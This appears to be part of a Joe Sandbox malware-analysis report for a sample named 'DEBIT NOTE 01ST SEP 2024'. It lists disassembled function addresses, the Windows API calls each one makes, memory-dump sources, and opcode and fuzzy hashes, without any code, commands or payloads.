                                          Function 00435215 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • CLSIDFromString.OLE32(?,00000000), ref: 00435236
                                          • SafeArrayAccessData.OLEAUT32(?,?), ref: 00435285
                                          • SafeArrayUnaccessData.OLEAUT32(?), ref: 004352B4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ArrayDataSafe$AccessFromStringUnaccess_malloc
                                          • String ID: crts
                                          • API String ID: 943502515-3724388283
                                          • Opcode ID: 1c951fdfbdf5c5f88c618ab4611406fe4b678f9348836ee2954194ca176c3974
                                          • Instruction ID: ec3ec3aa447b477297a9cb7ebc6a7fbeb91602aa87849f29064a6671b92f781e
                                          • Opcode Fuzzy Hash: 1c951fdfbdf5c5f88c618ab4611406fe4b678f9348836ee2954194ca176c3974
                                          • Instruction Fuzzy Hash: EC213876600A009FC714CF8AE444D97FBE8EF98760714C46AEA49CB721D334E851CB94
                                          Function 0046E48C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64comCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004426CD: _wcslen.LIBCMT ref: 004426F9
                                          • CoInitialize.OLE32(00000000), ref: 0046E505
                                          • CoCreateInstance.OLE32(00482A08,00000000,00000001,004828A8,?), ref: 0046E51E
                                          • CoUninitialize.OLE32 ref: 0046E53D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateInitializeInstanceUninitialize_wcslen
                                          • String ID: .lnk
                                          • API String ID: 886957087-24824748
                                          • Opcode ID: ca4e97b0deac3c583c427a3e57c18447ee07ba297a7231e98f3a70961bae8bd6
                                          • Instruction ID: 8523b4f55483354ee3aaa8e7e2ee5f8b04597d59409be9d2747526508be4cfd1
                                          • Opcode Fuzzy Hash: ca4e97b0deac3c583c427a3e57c18447ee07ba297a7231e98f3a70961bae8bd6
                                          • Instruction Fuzzy Hash: E72183312082009FD700EF55C985F4AB7F4AF88729F14866EF9589B2E1D7B4E804CB56
                                          Function 0045D2C7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D2D2
                                          • SetVolumeLabelW.KERNEL32(?,00000000), ref: 0045D331
                                          • SetErrorMode.KERNEL32(?), ref: 0045D35C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$LabelVolume
                                          • String ID: \VH
                                          • API String ID: 2006950084-234962358
                                          • Opcode ID: 06ec5ceac71ab965c19bbe619e509a4f86e9865fc889b709aa917be6b1aab059
                                          • Instruction ID: 93ef07912bcba266d24f4400c0aa25f887f93b2782b8649f9ae8f5902fc9f078
                                          • Opcode Fuzzy Hash: 06ec5ceac71ab965c19bbe619e509a4f86e9865fc889b709aa917be6b1aab059
                                          • Instruction Fuzzy Hash: 10115175900105DFCB00EFA5D94499EBBB4FF48315B1084AAEC09AB352D774ED45CBA5
                                          Function 004496E9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • GetMenuItemInfoW.USER32 ref: 00449727
                                          • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00449751
                                          • DrawMenuBar.USER32 ref: 00449761
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Menu$InfoItem$Draw_malloc
                                          • String ID: 0
                                          • API String ID: 772068139-4108050209
                                          • Opcode ID: 1167fa92614d233b3003e6fb28f1152d6dc9f7ab2b98f531c98f2f78594b2958
                                          • Instruction ID: eb12e692e9d899ed3776fa10421b592e4983edb38958d2313c52402e3f8558b6
                                          • Opcode Fuzzy Hash: 1167fa92614d233b3003e6fb28f1152d6dc9f7ab2b98f531c98f2f78594b2958
                                          • Instruction Fuzzy Hash: 7711A3B1A10208AFEB10DF55DC49BAFB774EF85314F0041AEFA098B250DB759944DFA5
                                          Function 00472A2B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcslen$_wcscpy
                                          • String ID: 3, 3, 8, 1
                                          • API String ID: 3469035223-357260408
                                          • Opcode ID: 12b73319f7521ef091ea4856e2d9fc07411b991347f193140c1b9c5819a8a9d6
                                          • Instruction ID: 583e1dd4926d5dc430cd1974fab242c37593855fc3f83b6d902887b8cb8118b3
                                          • Opcode Fuzzy Hash: 12b73319f7521ef091ea4856e2d9fc07411b991347f193140c1b9c5819a8a9d6
                                          • Instruction Fuzzy Hash: 44F06D61510655E2CB34A791AD917FF72546F44341F00947BD90ED2190F368CB85CF99
                                          Function 004312CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(ICMP.DLL), ref: 004312DE
                                          • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 004312F0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: ICMP.DLL$IcmpCloseHandle
                                          • API String ID: 2574300362-3530519716
                                          • Opcode ID: 21a2acdac0ba1e2d746e72dbff1012e7ad80fb0484e1fffebf05da08cb8a0c44
                                          • Instruction ID: fe30dd6f995ef3e52e92cf139519288d45b371df6a06e7fbbc01cfddaae6e452
                                          • Opcode Fuzzy Hash: 21a2acdac0ba1e2d746e72dbff1012e7ad80fb0484e1fffebf05da08cb8a0c44
                                          • Instruction Fuzzy Hash: 89E01275500316DFDB105F66D80564B77DCDB14751F10482AFD45E2A51DBB8D48087E8
                                          Function 004312FE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(ICMP.DLL), ref: 00431310
                                          • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 00431322
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: ICMP.DLL$IcmpCreateFile
                                          • API String ID: 2574300362-275556492
                                          • Opcode ID: c8e81b458e49d693ad0b98c25d1a2273645c6015ec642ff3830cff94addfde50
                                          • Instruction ID: 95e0d00128142f820e0a83de5ed484af687323a382b0c693d148963e73e99334
                                          • Opcode Fuzzy Hash: c8e81b458e49d693ad0b98c25d1a2273645c6015ec642ff3830cff94addfde50
                                          • Instruction Fuzzy Hash: E3E0C270400306EFD7107FA5D81464A77E8DB08310F104C2AFC40A2650C7B8D48087A8
                                          Function 0043129A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(ICMP.DLL), ref: 004312AC
                                          • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004312BE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: ICMP.DLL$IcmpSendEcho
                                          • API String ID: 2574300362-58917771
                                          • Opcode ID: 8463976e88658be12d547e53f001863c36b7eb8c5d8a0eb88088b9b0d7e59d79
                                          • Instruction ID: f6e067919a3be2c94262fb81e38fb1c28335358536499f04279aa6303c0198c7
                                          • Opcode Fuzzy Hash: 8463976e88658be12d547e53f001863c36b7eb8c5d8a0eb88088b9b0d7e59d79
                                          • Instruction Fuzzy Hash: ADE0C2B0400706DFC7105F65D80465B77D8DB04321F10482BFD80E2610C7B8E48087A8
                                          Function 00430C7F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(advapi32.dll), ref: 00430C91
                                          • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00430CA3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: RegDeleteKeyExW$advapi32.dll
                                          • API String ID: 2574300362-4033151799
                                          • Opcode ID: d4a2309a593705586ca0189df29ebf11fe16cb5b9b4952fb03c76dd6ffec2ddb
                                          • Instruction ID: e1e112c22781e886f83f7ab60c8bc672304d94c0271b2a691c2b6ddb7eb549cd
                                          • Opcode Fuzzy Hash: d4a2309a593705586ca0189df29ebf11fe16cb5b9b4952fb03c76dd6ffec2ddb
                                          • Instruction Fuzzy Hash: 3FE0C2B0440315AFCB106F6AD95460B7BD89B14321F10583BF980E2600C7B8E88087B8
                                          Function 00451D2B Relevance: 6.4, APIs: 4, Instructions: 405COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6f77df26dc74fc40ac7bf47809af4b9178697b073442c11c01de5ef3306f6c16
                                          • Instruction ID: c5df29d3d24fc858ebdc5227190e2e918b6fbc7f8fe9fd347d916346834f6d96
                                          • Opcode Fuzzy Hash: 6f77df26dc74fc40ac7bf47809af4b9178697b073442c11c01de5ef3306f6c16
                                          • Instruction Fuzzy Hash: 66E17F75600209AFCB04DF98C880EAEB7B9FF88714F10859AE909DB351D775EE45CBA0
                                          Function 00479500 Relevance: 6.2, APIs: 4, Instructions: 162memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • VariantInit.OLEAUT32(?), ref: 0047950F
                                          • SysAllocString.OLEAUT32(00000000), ref: 004795D8
                                          • VariantCopy.OLEAUT32(?,?), ref: 0047960F
                                          • VariantClear.OLEAUT32(?), ref: 00479650
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Variant$AllocClearCopyInitString
                                          • String ID:
                                          • API String ID: 2808897238-0
                                          • Opcode ID: d4078b498bd58c38c4ff211c6799319bb2158b2b01decc8b4cd966ad5c1122ff
                                          • Instruction ID: 372c40b5ecffa4d340e825e49f449287305c7189bb1404562c27c74c4f1437f4
                                          • Opcode Fuzzy Hash: d4078b498bd58c38c4ff211c6799319bb2158b2b01decc8b4cd966ad5c1122ff
                                          • Instruction Fuzzy Hash: 8251C436600209A6C700FF3AD8815DAB764EF84315F50863FFD0897252DB78DA1997EA
                                          Function 0046993E Relevance: 6.1, APIs: 4, Instructions: 149windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,0000110A,00000004,?), ref: 00469990
                                          • __itow.LIBCMT ref: 004699CD
                                            • Part of subcall function 00461C4A: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00461CC2
                                          • SendMessageW.USER32(00000000,0000110A,00000001,?), ref: 00469A3D
                                          • __itow.LIBCMT ref: 00469A97
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$__itow
                                          • String ID:
                                          • API String ID: 3379773720-0
                                          • Opcode ID: f450223117ea95bfee34014d9d84978b58918b7dbb146b9b64e9adf8c20a5af9
                                          • Instruction ID: c5a9f548720e127460bbd30f9c4a1142764b372a0404ca0a71d180b9b8c9b2b0
                                          • Opcode Fuzzy Hash: f450223117ea95bfee34014d9d84978b58918b7dbb146b9b64e9adf8c20a5af9
                                          • Instruction Fuzzy Hash: E8415671A002096BDB14EF95D981AEF77BC9F58314F00405EFA0567281E7789E46CBE9
                                          Function 004499DB Relevance: 6.1, APIs: 4, Instructions: 145COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowRect.USER32(?,?), ref: 00449A4A
                                          • ScreenToClient.USER32(?,?), ref: 00449A80
                                          • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00449AEC
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$ClientMoveRectScreen
                                          • String ID:
                                          • API String ID: 3880355969-0
                                          • Opcode ID: d0f348dd6b8999688d199205b3412f9258e7834e979bdc0e5f61431c3cd0f715
                                          • Instruction ID: 772f2e9a8c44c8b90650fefa000f178a1b73e5e444e4323f54854131c67d2362
                                          • Opcode Fuzzy Hash: d0f348dd6b8999688d199205b3412f9258e7834e979bdc0e5f61431c3cd0f715
                                          • Instruction Fuzzy Hash: 5A517C70A00249AFEB14CF68D8C1AAB77B6FF58314F10822EF91597390D774AD90DB98
                                          Function 0041415F Relevance: 6.1, APIs: 4, Instructions: 130COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                          • String ID:
                                          • API String ID: 2782032738-0
                                          • Opcode ID: b31e9d6d4fc57bcba7966bec51b765adca5e1eea9d7940e8138ef5a4af09ff03
                                          • Instruction ID: 72632960f292c6e9309c64fc9b7016af72cb639159fa0dd3c9cf05ee08d0b78d
                                          • Opcode Fuzzy Hash: b31e9d6d4fc57bcba7966bec51b765adca5e1eea9d7940e8138ef5a4af09ff03
                                          • Instruction Fuzzy Hash: CB41D531A00715ABDB248FA5C8486DFBBB5AFD0364F24856EF42597680D778DDC1CB48
                                          Function 00441672 Relevance: 6.1, APIs: 4, Instructions: 116windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ClientToScreen.USER32(00000000,?), ref: 0044169A
                                          • GetWindowRect.USER32(?,?), ref: 00441722
                                          • PtInRect.USER32(?,?,?), ref: 00441734
                                          • MessageBeep.USER32(00000000), ref: 004417AD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Rect$BeepClientMessageScreenWindow
                                          • String ID:
                                          • API String ID: 1352109105-0
                                          • Opcode ID: efc75fb8ed246b6ad65f2e8b456486d9870e0f063911f7aa846460c85c9d1d50
                                          • Instruction ID: 3e4d0a9d31bb6386801ef6381a7f0d6bf168684d8964ff5a195b0ca439f55e04
                                          • Opcode Fuzzy Hash: efc75fb8ed246b6ad65f2e8b456486d9870e0f063911f7aa846460c85c9d1d50
                                          • Instruction Fuzzy Hash: 5141A539A002049FE714DF54D884E6AB7B5FF95721F1482AED9158B360DB34AC81CB94
                                          Function 0045D1AF Relevance: 6.1, APIs: 4, Instructions: 103fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D248
                                          • GetLastError.KERNEL32(?,00000000), ref: 0045D26C
                                          • DeleteFileW.KERNEL32(00000000,?,?,00000000), ref: 0045D28C
